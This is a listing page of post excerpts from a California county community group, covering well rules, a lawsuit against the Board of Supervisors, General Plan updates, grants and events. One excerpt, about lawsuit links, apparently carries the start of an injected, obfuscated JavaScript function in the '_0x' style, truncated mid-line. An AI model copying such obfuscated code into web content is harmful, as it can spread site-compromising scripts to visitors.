It might be harder to install a well in Calaveras County…

California has tightened rules for installing wells due to the drought. Read the fact sheet for more information. Last year, a region of Calaveras County was among the highest tapped locations for new wells, according to a late 2021 report. “Three locations in the state saw the highest local density of new irrigation wells, with five wells installed within one square mile. Just one of these locations was in the agricultural-rich yet... Read More

Request for Auction and Raffle Items

Please consider donating an auction or raffle item for the Community Action Project’s upcoming on-line Fundraiser next month. Perhaps there is a local business you support that would be willing to help, or maybe you are an artist or craftsperson that can offer one of your own creations. Any item, great or small, will be gratefully accepted. The donation will support CAP’s primary program, the Calaveras Planning Coalition, a group of community... Read More

CPC v. BOS Lawsuit Updates

2022 Case Updates This press release reports that the County is slow to implement the 2019 General Plan Update, and that yet another recent appellate court case weakens the County’s defense of the 2019 General Plan Update. March 2022 Another New Case Means Deeper Legal Jeopardy for the Calaveras County General Plan 2021 Case Updates This guest editorial promotes the restoration of plans to meet the unique needs of the diverse communities... Read More

Get Informed! New homepage links for lawsuit

We’ve added a new, easy-to-access set of links to our homepage to read more about our ongoing lawsuit with the Calaveras County Board of Supervisors.  Scroll down and look on the left-hand sidebar to find “CAP v. Board of Supervisors”. Here you’ll find a direct link to read the petition yourself and a link to read history and updates on the lawsuit.  More updates coming soon! function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return... Read More

Letter to the Editor: Stop and smell the wildflowers

Stop and smell the wildflowers This time of year is one of the prettiest in Calaveras County. The rolling hills are lush with grass and colorful, fragrant wildflowers. There is a buzz of life springing up all around us! We are so lucky to experience the wonders of this landscape every day, and springtime has a special way of reminding us. Let’s remember to stop and appreciate it once in a while. Perhaps even engage in some curiosity. Were... Read More

CAP attends local community resilience event

Networking and good will were garnered for CAP last weekend at a seed-sharing, community resilience, and family fun gathering at Thirteen Sisters Farm in Mokelumne Hill. The gathering featured several local farms coming together to trade and share successful varieties of plants that grow well in the region, as well as local craft artisans offering cottage food goods, carpentry, jewelry, and ceramics.  CAP’s Outreach Coordinator hosted... Read More

INVITE: Attend Rural Affordable Housing Webinar – CAP is a Cooperating Organization!

The Calaveras Community Action Project invites its members and anyone reading this to attend a free upcoming web seminar (“webinar”) on Rural Affordable Housing. WHEN: Tuesday, March 29 @ 10 a.m. CLICK HERE TO REGISTER This webinar is hosted by the California Community Economic Development Association (CCEDA) in partnership with  California Coalition For Rural Housing. CAP’s role as a Cooperating Organization is to share... Read More

General Plan Implementation Update

At the Feb. 15 Board of Supervisors meeting, the Calaveras Planning Coalition provided the only public comment regarding an update to the General Plan implementation. Highlights include: -BOS speaks favorably of “dark sky ordinance” to limit light pollution and keep starry skies. -County to revisit Greenhouse Gas Reduction Plan this spring -Public meetings to start soon on zoning updates -BOS continues to defer most planning... Read More

CAP/CPC Receive Sixth Grant Award from the Clif Family Foundation

The Community Action Project and the Calaveras Planning Coalition are grateful for another year of funding from the Clif Family Foundation. This is our sixth year of funding from the foundation whose purpose is “to support small-to-midsize grassroots groups led by people whose vision and commitment we deeply admire. We have been proud to support hundreds of organizations that are working tirelessly to strengthen our food system, advance equitable... Read More

Calaveras Planning Coalition Receives Third Grant from the Fund for Wild Nature

On December 1, 2021, the Community Action Project/Calaveras Planning Coalition received news of support from the Fund for Wild Nature for the third consecutive year. The Fund has been “investing in feisty grassroots action since 1982” by providing “small grants for North American campaigns to save native species and wild ecosystems, with particular emphasis on actions designed to defend threatened wilderness and biological diversity.”... Read More